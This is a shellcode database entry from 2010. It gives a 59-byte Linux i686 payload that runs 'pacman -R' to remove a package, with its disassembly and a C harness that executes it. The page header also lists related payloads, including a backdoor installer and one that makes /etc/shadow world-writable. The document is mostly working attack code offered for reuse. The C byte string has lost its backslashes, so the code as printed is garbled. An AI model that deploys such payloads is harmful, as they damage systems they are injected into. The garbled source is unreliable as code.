[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Linux i686 - pacman -R <package> - 59 bytes
# Published : 2010-01-24
# Author : Jonathan Salwan
# Previous Title : Linux i686 - pacman -S <package> (default package: backdoor) - 64 bytes
# Next Title : linux/x86 chmod 666 /etc/shadow 27 bytes
/*
Title : Linux i686 - pacman -R <package> - 59 bytes
Author : Jonathan Salwan
Mail : submit [!] shell-storm.org
Web : http://www.shell-storm.org
Pacman is a software package manager, developed as part of the Arch Linux distribution.
With this shellcode you can remove the packages.
! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ !
Disassembly of section .text:
08048054 <.text>:
8048054: 31 c0 xor %eax,%eax
8048056: 31 db xor %ebx,%ebx
8048058: 31 c9 xor %ecx,%ecx
804805a: 31 d2 xor %edx,%edx
804805c: 31 f6 xor %esi,%esi
804805e: 52 push %edx
804805f: 68 61 61 61 61 push $0x61616161
8048064: 89 e6 mov %esp,%esi
8048066: 52 push %edx
8048067: 66 68 2d 52 pushw $0x522d
804806b: 89 e1 mov %esp,%ecx
804806d: 52 push %edx
804806e: 68 63 6d 61 6e push $0x6e616d63
8048073: 68 6e 2f 70 61 push $0x61702f6e
8048078: 68 72 2f 62 69 push $0x69622f72
804807d: 68 2f 2f 75 73 push $0x73752f2f
8048082: 89 e3 mov %esp,%ebx
8048084: 52 push %edx
8048085: 56 push %esi
8048086: 51 push %ecx
8048087: 53 push %ebx
8048088: 89 e1 mov %esp,%ecx
804808a: b0 0b mov $0xb,%al
804808c: 99 cltd
804808d: cd 80 int $0x80
*/
#include <stdio.h>
int main(void)
{
char shellcode[] =
"x31xc0x31xdbx31xc9x31"
"xd2x31xf6x52x68"
"x61x61x61x61" // <- package is "aaaa", you can change it.
"x89xe6x52x66x68x2dx52"
"x89xe1x52x68x63x6dx61"
"x6ex68x6ex2fx70x61x68"
"x72x2fx62x69x68x2fx2f"
"x75x73x89xe3x52x56x51"
"x53x89xe1xb0x0bx99xcd"
"x80";
printf("Length: %dn",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}